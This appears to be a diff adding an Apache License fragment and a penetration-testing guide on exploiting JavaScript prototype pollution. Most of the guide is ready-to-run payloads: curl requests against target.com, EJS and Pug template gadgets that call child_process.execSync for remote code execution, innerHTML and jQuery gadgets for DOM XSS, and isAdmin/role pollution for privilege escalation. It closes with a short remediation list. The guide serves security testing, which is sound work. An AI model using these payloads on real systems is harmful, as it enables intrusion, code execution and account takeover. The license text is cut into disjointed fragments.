+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions

+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.

+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify

+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.

+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a

+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.

+# Exploiting Prototype Pollution in JavaScript
+
+## When to Use
+- When testing Node.js or JavaScript-heavy web applications
+- During assessment of APIs accepting deep-merged JSON objects
+- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
+- During code review of object merge/clone/extend operations
+- When evaluating npm packages for prototype pollution gadgets
+
+## Prerequisites
+- Burp Suite with DOM Invader extension for client-side prototype pollution detection
+- Node.js development environment for server-side testing
+- Understanding of JavaScript prototype chain and object inheritance
+- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
+- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
+- Browser developer console for client-side prototype manipulation

+### Step 1 — Identify Prototype Pollution Sources
+```javascript
+// Client-side: Test URL-based sources
+// Navigate to: http://target.com/page?__proto__[polluted]=true
+// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
+
+// Check in browser console:
+console.log(({}).polluted); // If returns "true", pollution confirmed
+
+// Common URL-based pollution vectors:
+// ?__proto__[key]=value
+// ?__proto__.key=value
+// ?constructor[prototype][key]=value
+// ?constructor.prototype.key=value
+
+// Hash fragment pollution:
+// http://target.com/#__proto__[key]=value
+```
+
+### Step 2 — Test Server-Side Prototype Pollution
+```bash
+# Test via JSON body with __proto__
+curl -X POST http://target.com/api/merge \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"isAdmin": true}}'
+
+# Test via constructor.prototype
+curl -X POST http://target.com/api/update \
+  -H "Content-Type: application/json" \
+  -d '{"constructor": {"prototype": {"isAdmin": true}}}'
+
+# Test for status code reflection (detection technique)
+# Pollute status property to detect server-side pollution
+curl -X POST http://target.com/api/merge \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"status": 510}}'
+# If response returns 510, server-side pollution confirmed
+
+# JSON content type pollution
+curl -X POST http://target.com/api/settings \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
+```
+
+### Step 3 — Exploit Client-Side for DOM XSS
+```javascript
+// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
+// Step 2: Find a gadget - a property read from prototype that reaches a sink
+
+// Common gadgets for DOM XSS:
+// innerHTML gadget:
+// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
+
+// jQuery $.html() gadget:
+// ?__proto__[html]=<img/src/onerror=alert(1)>
+
+// transport URL gadget (common in analytics scripts):
+// ?__proto__[transport_url]=data:,alert(1)//
+
+// Sanitizer bypass via prototype pollution:
+// ?__proto__[allowedTags]=<script>
+// ?__proto__[tagName]=IMG
+
+// Use DOM Invader (Burp Suite built-in):
+// 1. Enable DOM Invader in Burp's embedded browser
+// 2. Enable Prototype Pollution option
+// 3. Browse application - DOM Invader auto-detects sources
+// 4. Click "Scan for gadgets" to find exploitable sinks
+```
+
+### Step 4 — Exploit Server-Side for RCE
+```bash
+# Node.js child_process gadget (RCE)
+# If application calls child_process.execSync(), spawn(), or fork():
+curl -X POST http://target.com/api/merge \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
+
+# EJS template engine gadget
+curl -X POST http://target.com/api/update \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
+
+# Handlebars template gadget
+curl -X POST http://target.com/api/merge \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
+
+# Pug template engine gadget
+curl -X POST http://target.com/api/data \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
+```
+
+### Step 5 — Exploit for Authentication and Authorization Bypass
+```bash
+# Pollute isAdmin or role property
+curl -X POST http://target.com/api/profile \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
+
+# Pollute auth-related properties
+curl -X POST http://target.com/api/settings \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"verified": true, "emailVerified": true}}'
+
+# Bypass JSON schema validation
+curl -X POST http://target.com/api/data \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"additionalProperties": true}}'
+```
+
+### Step 6 — Detect with Automated Tools
+```bash
+# Use ppfuzz for automated detection
+ppfuzz -l urls.txt -o results.txt
+
+# Nuclei templates for prototype pollution
+echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
+
+# Server-side detection with Burp Scanner
+# Enable "Server-side prototype pollution" scan check
+# Review issues in Burp Dashboard
+
+# Manual detection via timing/error-based techniques
+# Pollute a property that causes detectable server behavior change
+curl -X POST http://target.com/api/data \
+  -H "Content-Type: application/json" \
+  -d '{"__proto__": {"toString": "polluted"}}'
+# If server errors (500), pollution is working
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
+| __proto__ | Accessor property that exposes the prototype of an object |
+| Pollution Source | Input point that allows setting properties on Object.prototype |
+| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
+| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
+| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
+| constructor.prototype | Alternative path to access and pollute the prototype object |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
+| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
+| ppfuzz | Automated prototype pollution fuzzer |
+| Nuclei | Template-based scanner with prototype pollution templates |
+| server-side-prototype-pollution | Burp Scanner check for server-side detection |
+| ESLint security plugin | Static analysis for prototype pollution patterns in code |
+
+## Common Scenarios
+
+1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
+2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
+3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
+4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
+5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives

+## Prototype Pollution Assessment Report
+- **Target**: http://target.com
+- **Type**: Server-Side Prototype Pollution
+- **Impact**: Remote Code Execution via EJS template gadget
+
+### Findings
+| # | Source | Gadget | Sink | Impact |
+|---|--------|--------|------|--------|
+| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
+| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
+| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
+
+### Remediation
+- Use Object.create(null) for configuration objects instead of {}
+- Freeze Object.prototype with Object.freeze(Object.prototype)
+- Sanitize __proto__ and constructor keys in user input
+- Use Map instead of plain objects for user-controlled data
+- Update vulnerable npm packages (lodash, merge-deep, etc.)
